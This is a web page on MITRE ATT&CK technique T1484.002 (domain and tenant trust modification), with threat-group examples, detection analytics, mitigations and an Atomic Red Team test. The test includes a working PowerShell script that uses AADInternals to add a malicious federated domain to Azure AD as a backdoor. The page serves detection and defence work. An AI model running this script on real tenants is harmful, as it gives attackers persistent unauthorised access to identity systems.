tfMITRE ATT&CK sub-technique

Trust Modification T1484.002

sub-technique of T1484 Domain or Tenant Policy Modification

Tactics: Privilege Escalation, Defense Impairment
Platforms: Identity Provider, Windows
Version: 3.0
Created: 28 December 2020
Last modified: 12 May 2026
Contributors: Blake Strom, Microsoft 365 Defender; Praetorian; Obsidian Security

Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.[1] These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups56th pct

Threat groups56th percentile · 56% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Trust Modification MITRE reference T1484.002

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Storm-0501G1053 ↗

Created a new federated domain within the victim Microsoft Entra tenant using Global Administrator level access to establish a persistent backdoor for later use.1 2

created 2025-10-192 references

Scattered SpiderG1015 ↗

Adds a federated identity provider to the victim’s SSO tenant and activates automatic account linking.1

created 2023-07-051 referenceaka Roasted 0ktapus

All 2 groups for this technique

Offense vs defense T1484.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 3

first rule: 2022 Q3 · 1 of 1 campaigns plotted

Trust Modification detection strategy DET0458

MITRE names one behaviour worth catching for this technique and breaks it into 2 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Trust Relationship Modifications in Domain or Tenant Policies

Enterprise

2 platforms

AN1259 · Windows

Adversary modifies Active Directory domain trust settings via netdom, nltest, or PowerShell to add new domain trust or alter federation. Modifications occur in AD object attributes like trustDirection, trustType, trustAttributes, often paired with SeEnableDelegationPrivilege or certificate injection.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account ModificationDC0010	WinEventLog:Security	EventCode=4704
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Active Directory Object ModificationDC0066	WinEventLog:Security	EventCode=5136

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ObjectType	Focus on `trustedDomain` or `foreignSecurityPrincipal` AD objects in trust containers.
AttributeModified	Monitor attributes like `trustPartner`, `trustDirection`, `trustType`, `msDS-TrustForestTrustInfo`.
TimeWindow	Correlate trust creation with unusual logon events or certificate modifications.
UserContext	Flag rare accounts or non-standard admin users performing trust changes.

AN1260 · Identity Provider

Adversary adds federated identity provider (IdP) or modifies tenant domain authentication from Managed to Federated. Detected via API, PowerShell, or Admin Portal through federation events like Set domain authentication, Add federated identity provider, or Update-MsolFederatedDomain.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Application Log ContentDC0038	m365:unified	Set federation settings on domain\|Set domain authentication\|Add federated identity provider
Command ExecutionDC0064	azure:signinlogs	OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
OperationName	Identify rare trust-modification operations (SetDomainAuthentication, Update-MsolFederatedDomain).
InitiatedBy	Flag federated trust changes performed by unknown users, service principals, or tokens.
UserAgent	Separate scripted/API interactions from GUI-based administrative changes.
TimeWindow	Correlate trust change to federated login or SAML token injection within short window.

Privileged Account ManagementM1026

Use the principal of least privilege and protect administrative access to domain trusts and identity tenants.

User Account ManagementM1018

In cloud environments, limit permissions to create new identity providers to only those accounts that require them. In AWS environments, consider using Service Control policies to limit the use of API calls such as CreateSAMLProvider or CreateOpenIDConnectProvider.

Tests1ExecutorsPowerShell 1Need elevation0 of 1Have prerequisites1Have cleanup1Platformsazure-ad

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Add Federation to Azure AD

azure-ad

PowerShell

—

Yes

Add a new federated domain to Azure AD using PowerShell. The malicious domain to be federated must be configured beforehand (outside of the scope of this test): 1. Open Azure Portal 2. Add a new "custom domain name" 3. Verify the domain by following instructions (i.e. create the requested DNS record)

Input arguments

Name	Type	Default	Description
domain_name	string	contoso.com	Malicious federated domain name
azure_password	string	iamthebatman	Password of azure_username
azure_username	string	bruce.wayne@contosocloud.com	Username of a privileged Azure AD account such as External Identity Provider Administrator or Global Administrator roles

Attack command

Import-Module AzureAD
Import-Module AADInternals

$PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword

try {
  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
  Write-Host "Error: AzureAD could not connect"
  exit 1
}

try {
  $domain = Get-AzureADDomain -Name "#{domain_name}"
}
catch {
  Write-Host "Error: domain ""#{domain_name}"" not found"
  exit 1
}
if (-Not $domain.IsVerified) {
  Write-Host "Error: domain ""#{domain_name}"" not verified"
  exit 1
}

if ($domain.AuthenticationType -eq "Federated") {
  Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before."
  exit 1
}

$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
if (-Not $at) {
  Write-Host "Error: AADInternals could not connect"
  exit 1
}

$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}"
if ($new) {
  Write-Host "Federation successfully added to Azure AD"
  Write-Host $new
}
else {
  Write-Host "The federation setup failed"
}

Write-Host "End of federation configuration."

Cleanup command

try {
  Import-Module AzureAD -ErrorAction Ignore

  $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
  Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

  Remove-AzureADDomain -Name "#{domain_name}" -ErrorAction Ignore
} catch {}

Prerequisite

AzureAD and AADInternals Powershell modules must be installed.

Check

if ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module -ListAvailable -Name AADInternals)) {exit 0} else {exit 1}

Satisfy

Install-Module -Name AzureAD -Force
Install-Module -Name AADInternals -Force

GUIDa7915a06-46d0-45c7-9459-8358eedbef8d

Tests from Atomic Red Team (MIT licence) · technique definition

Trust Modification detections T1484.002

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs